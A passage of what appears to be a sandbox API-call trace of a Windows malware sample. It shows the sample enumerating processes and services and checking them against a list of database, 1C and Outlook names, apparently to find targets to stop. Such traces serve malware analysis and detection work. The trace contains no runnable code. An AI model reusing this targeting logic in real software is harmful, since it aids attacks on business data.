(lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0148.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0148.655] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0148.655] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0148.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0148.655] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0148.655] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0148.657] Process32FirstW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.657] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0148.657] lstrlenW (lpString="System") returned 6 [0148.658] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0148.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0148.658] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0148.658] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0148.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0148.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0148.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0148.658] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0148.658] lstrlenW (lpString="smss.exe") returned 8 [0148.658] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0148.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0148.658] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0148.658] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0148.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0148.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0148.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0148.658] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.659] lstrlenW (lpString="csrss.exe") returned 9 [0148.659] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0148.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0148.659] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0148.659] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0148.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0148.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0148.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0148.659] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0148.659] lstrlenW (lpString="wininit.exe") returned 11 [0148.659] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0148.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0148.659] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0148.659] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0148.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0148.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0148.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0148.659] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.660] lstrlenW (lpString="csrss.exe") returned 9 [0148.660] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0148.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0148.660] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0148.660] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0148.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0148.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0148.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0148.660] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0148.660] lstrlenW (lpString="winlogon.exe") returned 12 [0148.660] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0148.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0148.660] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0148.660] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0148.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0148.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0148.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0148.660] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0148.661] lstrlenW (lpString="services.exe") returned 12 [0148.661] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0148.661] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0148.661] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0148.661] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0148.661] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0148.661] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0148.661] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0148.661] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0148.661] lstrlenW (lpString="lsass.exe") returned 9 [0148.661] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0148.661] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0148.661] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0148.661] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0148.661] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0148.661] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0148.661] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0148.661] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0148.662] lstrlenW (lpString="lsm.exe") returned 7 [0148.662] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0148.662] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0148.662] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0148.662] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0148.662] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0148.662] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0148.662] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0148.662] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.662] lstrlenW (lpString="svchost.exe") returned 11 [0148.662] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0148.662] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0148.662] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0148.662] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0148.662] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0148.662] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0148.662] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0148.662] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.663] lstrlenW (lpString="svchost.exe") returned 11 [0148.663] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0148.663] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.663] lstrlenW (lpString="svchost.exe") returned 11 [0148.663] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0148.663] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0148.663] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.664] lstrlenW (lpString="svchost.exe") returned 11 [0148.664] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.664] lstrlenW (lpString="svchost.exe") returned 11 [0148.664] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0148.665] lstrlenW (lpString="audiodg.exe") returned 11 [0148.665] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.665] lstrlenW (lpString="svchost.exe") returned 11 [0148.665] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0148.666] lstrlenW (lpString="userinit.exe") returned 12 [0148.666] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0148.667] lstrlenW (lpString="explorer.exe") returned 12 [0148.667] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0148.667] lstrlenW (lpString="dwm.exe") returned 7 [0148.667] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.667] lstrlenW (lpString="svchost.exe") returned 11 [0148.667] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0148.667] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0148.668] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0148.668] lstrlenW (lpString="spoolsv.exe") returned 11 [0148.668] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0148.668] lstrlenW (lpString="reader_sl.exe") returned 13 [0148.668] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.668] lstrlenW (lpString="svchost.exe") returned 11 [0148.669] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0148.669] lstrlenW (lpString="taskhost.exe") returned 12 [0148.669] Process32NextW (in: hSnapshot=0x38c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0148.669] CloseHandle (hObject=0x38c) returned 1 [0148.669] Sleep (dwMilliseconds=0x1f4) [0149.386] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8f5ce0 [0149.667] EnumServicesStatusExW (in: hSCManager=0x8f5ce0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0149.667] GetLastError () returned 0xea [0149.667] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x8f0da0 [0149.667] EnumServicesStatusExW (in: hSCManager=0x8f5ce0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8f0da0, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8f0da0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0149.667] CloseServiceHandle (hSCObject=0x8f5ce0) returned 1 [0149.668] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0149.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0149.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0149.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0149.668] lstrlenW (lpString="AudioSrv") returned 8 [0149.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0149.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0149.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0149.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0149.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0149.668] lstrlenW (lpString="BFE") returned 3 [0149.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0149.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0149.668] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0149.668] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0149.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0149.668] lstrlenW (lpString="CryptSvc") returned 8 [0149.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0149.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0149.668] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0149.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0149.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0149.669] lstrlenW (lpString="CscService") returned 10 [0149.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0149.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0149.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0149.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0149.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0149.669] lstrlenW (lpString="DcomLaunch") returned 10 [0149.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.669] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0149.669] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0149.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0149.669] lstrlenW (lpString="Dhcp") returned 4 [0149.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0149.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0149.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0149.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0149.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0149.669] lstrlenW (lpString="Dnscache") returned 8 [0149.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0149.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0149.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0149.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0149.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0149.669] lstrlenW (lpString="DPS") returned 3 [0149.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0149.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0149.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0149.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0149.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0149.670] lstrlenW (lpString="eventlog") returned 8 [0149.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0149.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0149.670] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0149.670] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0149.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0149.670] lstrlenW (lpString="EventSystem") returned 11 [0149.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0149.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0149.670] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0149.670] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0149.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0149.670] lstrlenW (lpString="gpsvc") returned 5 [0149.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0149.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0149.670] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0149.670] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0149.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0149.670] lstrlenW (lpString="LanmanWorkstation") returned 17 [0149.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.670] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0149.670] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0149.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0149.671] lstrlenW (lpString="lmhosts") returned 7 [0149.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0149.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0149.671] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0149.671] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0149.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0149.671] lstrlenW (lpString="MMCSS") returned 5 [0149.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0149.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0149.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0149.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0149.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0149.671] lstrlenW (lpString="MpsSvc") returned 6 [0149.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0149.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0149.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0149.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0149.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0149.671] lstrlenW (lpString="NlaSvc") returned 6 [0149.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0149.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0149.671] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0149.671] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0149.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0149.671] lstrlenW (lpString="nsi") returned 3 [0149.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0149.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 